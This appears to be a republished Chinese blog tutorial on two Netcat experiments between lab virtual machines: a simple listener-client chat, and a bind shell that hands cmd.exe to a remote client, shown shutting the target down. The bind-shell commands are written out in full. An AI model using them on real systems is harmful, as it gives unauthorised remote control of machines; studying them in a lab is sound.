Netcat實(shí)驗(yàn)兩則

好可惜前幾日才接觸Netcat,聽(tīng)聞Netcat有“瑞士軍刀”之美稱,出于好奇,做Netcat實(shí)驗(yàn)兩個(gè):

1.使用Netcat監(jiān)聽(tīng)端口充當(dāng)SERVER和作為CLIENT連接目標(biāo)主機(jī)指定端口

2.通過(guò)Netcat獲取對(duì)另一臺(tái)機(jī)的控制權(quán)

都是在兩臺(tái)XP虛擬機(jī)中進(jìn)行的,分享于此。

前提準(zhǔn)備

1.XP虛擬機(jī)兩臺(tái),作為測(cè)試機(jī)使用

2.下載Netcat1.11,解壓至測(cè)試機(jī)目標(biāo)文件夾C:\tool\netcat-1.11(兩臺(tái)均是)

3.關(guān)閉操作系統(tǒng)防火請(qǐng),設(shè)置兩臺(tái)測(cè)試機(jī)在同一網(wǎng)段內(nèi)(方便測(cè)試),查看并記錄兩臺(tái)機(jī)的ip地址,分別為192.168.82.229192.168.82.146

實(shí)驗(yàn)一、使用NC監(jiān)聽(tīng)端口充當(dāng)SERVER和作為CLIENT連接目標(biāo)主機(jī)指定端口

1.在一臺(tái)測(cè)試機(jī)(192.168.82.229)中命令行輸入:cd C:\tool\netcat-1.11\ ,進(jìn)入nc所在目錄

2.繼續(xù)在命令行輸入:nc -l -p 8888,則開(kāi)始監(jiān)聽(tīng)本機(jī)8888端口,等待client連接,可以認(rèn)為已經(jīng)開(kāi)啟server

3.在另一臺(tái)機(jī)(192.168.82.146)命令行輸入:cd C:\tool\netcat-1.11\,進(jìn)入nc所在目錄

4.在命令行中繼續(xù)輸入:nc 192.168.82.229 8888,此處為server的ip地址和正在通過(guò)nc監(jiān)聽(tīng)的端口

5.連接成功,此時(shí)在兩臺(tái)機(jī)的命令行窗口中光標(biāo)均在新行行首,可以輸入文本,在一臺(tái)機(jī)的當(dāng)前命令行窗口中輸入文本回車后可以顯示在另一臺(tái)機(jī)的當(dāng)前命令行窗口中,模擬了簡(jiǎn)單的聊天動(dòng)作。

實(shí)驗(yàn)二、通過(guò)NC獲取對(duì)另一臺(tái)機(jī)的控制權(quán)

1.在一臺(tái)機(jī)(192.168.82.229)命令行窗口進(jìn)入nc程序目錄,輸入:nc -l -p 8888 -e C:\WINDOWS\system32\cmd.exe,則開(kāi)啟了8888端口的監(jiān)聽(tīng)服務(wù),等待client連接后就會(huì)將cmd.exe的執(zhí)行權(quán)發(fā)給client

2.在另一臺(tái)機(jī)(192.168.82.146)命令行窗口進(jìn)入nc程序目錄,輸入:nc 192.168.82.229 8888,即可連接至server,并獲得了對(duì)servercmd.exe程序的使用權(quán),幾乎相當(dāng)于獲得了對(duì)server整機(jī)的控制權(quán)。在命令行窗口繼續(xù)輸入:shutdown -s -t 0server則會(huì)立即關(guān)機(jī)。

全文引自個(gè)人博客——云影時(shí)空,原文地址: http://www.zhengjie.ren/nctest2/

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

推薦閱讀更多精彩內(nèi)容